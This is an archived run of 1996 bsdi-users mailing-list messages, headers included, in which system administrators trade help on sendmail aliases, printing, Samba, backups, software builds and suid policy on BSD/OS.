Sainte-Foy Reseaux/networks, Telecoms Sainte-Foy, Quebec, Canada, G1V 1T3 Voix : +1-418-659-6600 #4275 Fax : +1-418-659-4563 From VM Tue Nov 19 20:18:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["658" "Tue" "19" "November" "1996" "07:02:16" "-0800" "patrick@value.net" "patrick@value.net" nil "22" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA19159 for ; Tue, 19 Nov 1996 10:08:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA10305 for bsdi-users-outgoing; Tue, 19 Nov 1996 10:03:28 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: MP cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Tue, 19 Nov 1996 07:02:16 -0800 (PST) On Tue, 19 Nov 1996, MP wrote: > I made an entry: > tescik: :include:/etc/tescik > in my /etc/aliases and run newaliases, where /etc/tescik includes names > of test group of users, but e-mails disapear somewhere.. ;-( > So it doesn't work? > > Maciej Przybecki It does indeed work, I do it here. Are you sure that the file is world readable? /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Tue Nov 19 20:18:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2021" "Tue" "19" "November" "1996" "15:34:14" "+0000" "digbyt@dircon.co.uk" "digbyt@dircon.co.uk" nil "47" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA19998 for ; Tue, 19 Nov 1996 10:44:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA10363 for bsdi-users-outgoing; Tue, 19 Nov 1996 10:34:37 -0500 (EST) Message-Id: <199611191534.AA10350@dircon.co.uk> In-Reply-To: from "Todd Burroughs" at Nov 18, 96 11:32:49 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: digbyt@dircon.co.uk Sender: owner-bsdi-users@lists.gateway.com To: toddb@globalserve.net (Todd Burroughs) Cc: bsdi-users@BSDI.COM Subject: Re: Networked HP LaserJet 5m Date: Tue, 19 Nov 1996 15:34:14 +0000 (GMT) >Has anyone gotten a networked LaserJet 5m to work with BSDI? > >I've looked around Hewlett-Packard's site with no luck, and am >getting really sick of using ftp from a windows machine to >print something from BSD. It just doesn't seem right... > I ordered one when I ordered my 5MP, received the wrong one (sent me a card, when the 5 series needs an external box apparently). While organizing to send it back, I resorted to connecting the printer via the parallel port, which seems to work OK (except for BSDI's lack of support for bi-directional parallel, which restricts the Postscript a bit), so I didn't bother replacing the network interface. Anything else on the network just prints by spooling to the BSDI box. >I don't need fancy features, just printing text files would be >really nice. > Works fine in text, PCL and (for a 5MP) postscript. The other reason I didn't persist with the ethernet was having looked for drivers at the HP web site, I was a bit disgusted by the lack of support for non-Microsoft operating systems. The only reason I ordered the MP rather than the P (naturally it wasn't in stock) even though I don't have a MAC, because I hoped the MAC support would imply a serial interface and support for non-PC systems. Unfortunately, it only meant specific support for PC or MAC, but no mention of anything else :-( I couldn't even find command lists on the Web site for people willing to write their own drivers, let alone general Unix support. (I think there were some binaries for Sun, but that is still restring me to a vendors system..) Last time I bought I decent printer (about 6 yrs ago) this sort of information was included in the printed documentation. This was an NEC Postscript, which had serial, parallel and appletalk - and the Postscript could be run in 'interactive' mode from the serial port. I think we need a FAQ listing printer manufacturers and models that provide adequate documentation and support for real operating systems. DigbyT From VM Tue Nov 19 20:18:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["327" "Tue" "19" "November" "1996" "10:56:54" "-0500" "Cat Okita" "cat@uunet.ca" nil "13" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA20535 for ; Tue, 19 Nov 1996 10:56:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA10502 for bsdi-users-outgoing; Tue, 19 Nov 1996 10:57:12 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: MP , bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 10:56:54 -0500 On Tue, 19 Nov 1996, Jeff Campbell wrote: > I would, but I don't have access to the server we have it on > anymore as I recently left the company. However there is an excellent > and comprehensive web site for the product. Try: http://lake.canberra.edu.au/pub/samba/samba.html Cat Okita System Administor, UUNET Canada From VM Tue Nov 19 20:18:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["424" "Tue" "19" "November" "1996" "10:54:38" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "12" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA20540 for ; Tue, 19 Nov 1996 10:58:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA10494 for bsdi-users-outgoing; Tue, 19 Nov 1996 10:55:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Ross Wheeler cc: "M." , bsdi-users@BSDI.COM Subject: Re: Sendmail: Patch and a problem Date: Tue, 19 Nov 1996 10:54:38 -0500 (EST) > > on a side sendmail note, i noticed that our 2.1 box's sendmail > > configuration came from bsdi with 'expn' & 'vrfy' not disabled . > > Why is having these _enabled_ bad? Note, in fact, that they are mandatory parts of SMTP -- disabling them violates the standard. Henry Spencer henry@zoo.toronto.edu From VM Tue Nov 19 20:18:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["575" "Tue" "19" "November" "1996" "10:53:33" "-0500" "Cat Okita" "cat@uunet.ca" nil "18" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA20544 for ; Tue, 19 Nov 1996 10:59:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA10438 for bsdi-users-outgoing; Tue, 19 Nov 1996 10:53:56 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Todd Burroughs cc: "bsdi-users@bsdi.com" Subject: Re: Networked HP LaserJet 5m Date: Tue, 19 Nov 1996 10:53:33 -0500 On Mon, 18 Nov 1996, Todd Burroughs wrote: > Has anyone gotten a networked LaserJet 5m to work with BSDI? > > I've looked around Hewlett-Packard's site with no luck, and am > getting really sick of using ftp from a windows machine to > print something from BSD. It just doesn't seem right... > > I don't need fancy features, just printing text files would be > really nice. If it's like most of the current round of HP printers (and it seems to be) you should be able to stream text to the printer with no difficulties. What do you have setup as your printcap? Cat From VM Tue Nov 19 20:18:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["393" "Tue" "19" "November" "1996" "17:09:29" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "12" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA20824 for ; Tue, 19 Nov 1996 11:12:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA10549 for bsdi-users-outgoing; Tue, 19 Nov 1996 11:10:36 -0500 (EST) Message-Id: <9611191709.ZM11483@masschaos.de.convex.com> In-Reply-To: david@news1.anet-dfw.com "Re: Dual Homing w/BSDI or 25xx?" (Nov 18, 17:25) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com Cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Tue, 19 Nov 1996 17:09:29 +0100 > > As I understand it, the "OS" for the NetStar/Ascend GigaRouter > > is BSD/OS. :) There is a lot extra hardware there, though. > > > No. > They did buy out NetStar, however the operating system is hard coded into > the system board, and is not BSD/OS. I was told this by someone at NetStar, but I've no way of knowing for sure. Don't ask me which product we were talking about. Ray From VM Tue Nov 19 20:18:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1161" "Tue" "19" "November" "1996" "11:05:57" "-0500" "Kevin U. Hill" "kuh@naples.net" nil "30" "Annex 9.2.7 package under 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA20829 for ; Tue, 19 Nov 1996 11:14:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA10522 for bsdi-users-outgoing; Tue, 19 Nov 1996 11:05:57 -0500 (EST) Message-Id: <2.2.32.19961119160557.008318a8@gator.naples.net> X-Sender: kuh@gator.naples.net X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Kevin U. Hill" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Annex 9.2.7 package under 2.1 Date: Tue, 19 Nov 1996 11:05:57 -0500 Has anyone had any luck compiling Annex 9.2.7 binaries for an Annex 3 term server under BSD/OS 2.1? I've applied diffs published by Xylogics for BSD/OS 2.0, but they choke under 2.1. (Can't remember the exact choke... something like "previous decl of sprintf()".) I'm currently running Annex 8.0.10 which has an irritating memory leak problem. We have to reboot the Annex weekly or risk running out of mbufs. On a second note... What are BSDI folks using to track and monitor usage of your Annexen? G&R Data group has a nifty looking package called Annexwatch, but the closest port they have is for FreeBSD which dies miserably under 2.1. I'm kicking myself for not choosing Livingston, but hey... the Annex was a donation from Xylogics. Can't look a gift horse in the mouth. :) Any pointers are appreciated... - Kevin ____________________________________________________ k e v i n u. h i l l | kuh@naples.net livestock agent - collier | university of florida tech committee chair | naples free-net http://www.naples.net/~kuh/ ---------------------------------------------------- From VM Tue Nov 19 20:18:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["998" "Tue" "19" "November" "1996" "11:44:30" "+0000" "Jim Cassata" "jim@web-ex.com" nil "27" "Re:compile error(s): Found Answer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA21946 for ; Tue, 19 Nov 1996 11:47:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA10789 for bsdi-users-outgoing; Tue, 19 Nov 1996 11:39:09 -0500 (EST) Message-Id: <199611191642.LAA22215@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: "Richard Ryan" , bsdi-users@BSDI.COM Subject: Re:compile error(s): Found Answer Date: Tue, 19 Nov 1996 11:44:30 +0000 > With regards to my last late night post > I found what was causing this: > > > > > > domain.o: Undefined symbol ___res_query referenced from text segment > > > domain.o: Undefined symbol ___res_search referenced from text segment > > > domain.o: Undefined symbol ___dn_expand referenced from text segment > Turns out something (improved/modified) resolv.h in my /usr/include. > The new one does NOT define these as the old one does but redefines > _res_query (as used in sendmail) to > ___res___query (note __ change) without defining the new variable. Now > to try and trace what program did it. I suspect the new bind I > installed as it was linked to the new file. Any one else seen this? > RR Yes, I have this from trying to install 8.8.2 & 8.8.3 on my 2.1box with bind 4.9.5. Haven't solved the problem yet, though. what do I do? Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Tue Nov 19 20:18:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1081" "Tue" "19" "November" "1996" "12:03:16" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "20" "Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22497 for ; Tue, 19 Nov 1996 12:09:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10840 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:04:04 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: ian mcwilliam cc: bsdi-users@BSDI.COM Subject: Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug) Date: Tue, 19 Nov 1996 12:03:16 -0500 (EST) > >But SUID programs are an integral part of Unix security and denying users > >this feature encourages -- nay, forces -- them to make insecure applications. > > Yes, but allowing people access/create files that are suid in world > readable / writable directories such as /tmp isn't such a good idea. you > can still have everything you need that uses suid on volumes that are not > world readable / writable. The average user does not need to play around > with this functionality. I believe David's point was that individual users *may* have reason to use this functionality to provide limited, controlled access to things they do. (Whether this is reasonable for the "average" user depends on who your users are -- there are user communities where it is.) Suid can be used to grant ordinary-user privileges rather than system privileges; its most common use is for granting system privileges, but that's not its only use. Henry Spencer henry@zoo.toronto.edu From VM Tue Nov 19 20:18:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1585" "Tue" "19" "November" "1996" "09:04:19" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "38" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22502 for ; Tue, 19 Nov 1996 12:10:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10851 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:10:23 -0500 (EST) Message-Id: <199611191704.JAA27195@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bobie@grendel.sylaba.poznan.pl Cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 09:04:19 -0800 (PST) > > Thank you all for all the ideas. These're very helpful for me. > The only question is - permisions. > > How to preserve permisions through NFS during restoring backup. > I currentlly use tar with these parameters to store the files > I want to back up: > tar cfp etc.tar /etc > ... > After that I store these files through NFS directly to the tape on my NT > machine. This is useful as far as I don't want to backup the whole > structure but only want to do an incremental backup. > > I'm not expirienced in backups at all so please do not throw tomatoes on > me ;-). I could write some scripts by myself but I don'd want to brake > the open door. > > So could you please help me to arrange such an incremental backup on > these machines. I mean which software use for backup and restoring. > If you have sufficient space you can do incremental dumps to the NFS filesystem mounted from the NT machine, or you can use find to generate lists of new files and/or pax to write these to tape through NFS. Permissions aren't a problem as that is encoded in the tar, pax, or dump format and you're just using NFS and NT as a transport mechanism. Its hard to give you very specific advise without knowing details on how big your tape drive is, how much temporary space you have on the NFS filesystem and how big the filesystems are that you are trying to dump (and how much they change). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:18:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["965" "Tue" "19" "November" "1996" "08:55:38" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "23" "Re: Perl 5.003 and BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22506 for ; Tue, 19 Nov 1996 12:11:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10832 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:00:04 -0500 (EST) X-Sender: jsd@ramona Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Jon Drukman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Perl 5.003 and BSDI Date: Tue, 19 Nov 1996 08:55:38 -0800 At 9:06 AM -0400 11/19/96, Martin Durand wrote: >I just finished installing it myself. The only thing I did was specify >/usr/contrib as the installation path instead of /usr/local. The Configure >script recognizes bsd and supplies the correct answers to most questions. > >I did get a couple of WHOAs, but accepting the defaults resulted in a >working binary. did you run "make test" before installing? i did and it died on the gdbm stuff (which was a drag since it was gdbm support that i was specifically looking for). someone on this list sent me a modified config.sh that made it build and test OK though. let me know if you need it. maybe today's the day i'll finally remember to send that fix in to the perl developer group. ------------------------------------------------------------------------- Jon Drukman jsd@cyborganic.com ------------------------------------------------------------------------- From VM Tue Nov 19 20:18:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["301" "Tue" "19" "November" "1996" "13:13:43" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "13" "2 Gig IDE HD under 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22511 for ; Tue, 19 Nov 1996 12:12:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10865 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:14:07 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: 2 Gig IDE HD under 2.1? Date: Tue, 19 Nov 1996 13:13:43 -0400 (AST) I just purchased 2.1 and I haven't installed it yet. The machine it is being installed on has a 2 Gig (or slightly larger) IDE disk. I have heard in the past of problems with IDE disks this size, and the OS. Are there any problems under 2.1 that relate to this? -- Jeff jacampbe@is2.dal.ca From VM Tue Nov 19 20:18:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["684" "Tue" "19" "November" "1996" "09:13:44" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "18" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22518 for ; Tue, 19 Nov 1996 12:16:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10891 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:19:10 -0500 (EST) Message-Id: <199611191713.JAA27226@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Tue, 19 Nov 1996 09:13:44 -0800 (PST) > > I need some guidance (mostly on the WfWG side I think) getting samba > to provide services to WfWG. Can someone spare the time for an email > chat on the topic? > Can you please include me in the email discussion or summarize for the mailing list? I've tried to setup SAMBA when it was previously discussed but didn't get anything to work. The program and/or documentation is either too complicated or I'm getting to the point where I can't read a man page and figure it out any more. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["227" "Sun" "20" "October" "1996" "12:21:49" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "7" "quote files" "^From:" nil nil "10" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA22793 for ; Tue, 19 Nov 1996 12:23:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10912 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:24:05 -0500 (EST) Message-ID: <326A5FAD.4AA4@eoe-magical.org> Organization: eoe-magical.org X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: quote files Date: Sun, 20 Oct 1996 12:21:49 -0500 After the motd file is displayed, what is the name of the file that is used to display the quotes. I have done a man quotes man motd, man login and still am unable to locate a reference to it. Yea I know, its simple. Thanks. From VM Tue Nov 19 20:19:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1344" "Tue" "19" "November" "1996" "12:27:06" "-0500" "Bill Hamel" "bill@hamel.net" nil "57" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA23070 for ; Tue, 19 Nov 1996 12:29:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10923 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:29:17 -0500 (EST) Message-Id: <3.0b28.32.19961119122705.0071b120@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: MP , patrick@value.net Cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Tue, 19 Nov 1996 12:27:06 -0500 Did you run 'newaliases' after adding the reference to the aliases file.... ? Regards, Bill Hamel CCIS At 11:31 AM 11/19/96 +0100, MP wrote: >I made an entry: >tescik: :include:/etc/tescik >in my /etc/aliases and run newaliases, where /etc/tescik includes names >of test group of users, but e-mails disapear somewhere.. ;-( >So it doesn't work? > >Maciej Przybecki > > >On Thu, 14 Nov 1996 patrick@value.net wrote: > >> On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: >> >> > Hello there everyone... >> > >> > Does anyone know if it is possible to Mass E-Mail users or groups messages? >> > Greg Wiktor Senior System Administrator >> >> Yes. In /etc/aliases add something like: >> >> group-to-mail: :include:/path-to-file >> >> Where file is a text file containing the names of users that you want to >> mail to. >> >> Run newaliases >> >> Then simply fire up your mailer and address your mail to group-to-mail. >> >> /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >> Patrick Greenwell (510) 943-5769 voice >> Systems Administrator (510) 210-2000 modem >> Value Net, Inc. (510) 943-1708 fax >> \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ >> >> >> >> >> >> > > From VM Tue Nov 19 20:19:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1911" "Tue" "19" "November" "1996" "12:41:41" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "53" "Re: Annex 9.2.7 package under 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA23879 for ; Tue, 19 Nov 1996 13:00:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA10966 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:41:55 -0500 (EST) In-Reply-To: <2.2.32.19961119160557.008318a8@gator.naples.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: "Kevin U. Hill" cc: bsdi-users@BSDI.COM Subject: Re: Annex 9.2.7 package under 2.1 Date: Tue, 19 Nov 1996 12:41:41 -0500 (EST) Why don't you run 13.1. 13.1 supports radius, and it has 1000s additional featurs. Yes I had compiled 9.2.7 on bsdi fine.. but I wasn't too happy with it's performance though.. Check our http://xylogics.com they also have annex log analyser, I haven't tested it. But I know sites who use it and it works fine with them.. Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Tue, 19 Nov 1996, Kevin U. Hill wrote: > Date: Tue, 19 Nov 1996 11:05:57 -0500 > From: "Kevin U. Hill" > To: bsdi-users@BSDI.COM > Subject: Annex 9.2.7 package under 2.1 > > > Has anyone had any luck compiling Annex 9.2.7 binaries for an Annex 3 term > server under BSD/OS 2.1? I've applied diffs published by Xylogics for BSD/OS > 2.0, but they choke under 2.1. (Can't remember the exact choke... something > like "previous decl of sprintf()".) > > I'm currently running Annex 8.0.10 which has an irritating memory leak > problem. We have to reboot the Annex weekly or risk running out of mbufs. > > On a second note... > What are BSDI folks using to track and monitor usage of your Annexen? G&R > Data group has a nifty looking package called > Annexwatch, but the closest port they have is for FreeBSD which dies > miserably under 2.1. > > I'm kicking myself for not choosing Livingston, but hey... the Annex was a > donation from Xylogics. Can't look a gift horse in the mouth. :) > > Any pointers are appreciated... > > - Kevin > > ____________________________________________________ > k e v i n u. h i l l | kuh@naples.net > livestock agent - collier | university of florida > tech committee chair | naples free-net > http://www.naples.net/~kuh/ > ---------------------------------------------------- > From VM Tue Nov 19 20:19:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["212" "Tue" "19" "November" "1996" "10:02:40" "-0800" "Douglas L. Wong" "dwong@pacent.com" nil "9" "Ping o' Death" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA23883 for ; Tue, 19 Nov 1996 13:00:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA11080 for bsdi-users-outgoing; Tue, 19 Nov 1996 12:58:25 -0500 (EST) Message-ID: X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5 Precedence: bulk From: "Wong, Douglas L. - Internet" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@bsdi.com'" Subject: Ping o' Death Date: Tue, 19 Nov 1996 10:02:40 -0800 Someone asked me about this so I thought others would be interested....delete this message if not interested the official page: http://www.lymehouse.com/pod.html Some good info ...Looks like BSDI 2.1 is safe From VM Tue Nov 19 20:19:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1333" "Tue" "19" "November" "1996" "12:05:42" "-0600" "David Stavert" "dstavert@ladybugcom.com" nil "37" "RE: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24150 for ; Tue, 19 Nov 1996 13:14:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11091 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:02:51 -0500 (EST) Message-ID: <01BBD611.FDBD99B0@david.ladybugcom.com> Precedence: bulk From: dstavert@ladybugcom.com (David Stavert) Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@BSDI.COM" Subject: RE: samba + WfWG3.11 Date: Tue, 19 Nov 1996 12:05:42 -0600 I didn't try to set up SAMBA because I read the documentation. When I just edited the simple smb.conf sample and modified it to suit. I removed almost everything in the simple file and added a single share, placed the file in the /etc directory, ran samba and voila it appeared. When I have the time or the need I will experiment and read through the documentation, but for now the several shares I have created work just fine. Managing user directories and creating websites is a breeze now. ---------- From: Bill Webb Sent: Tuesday, 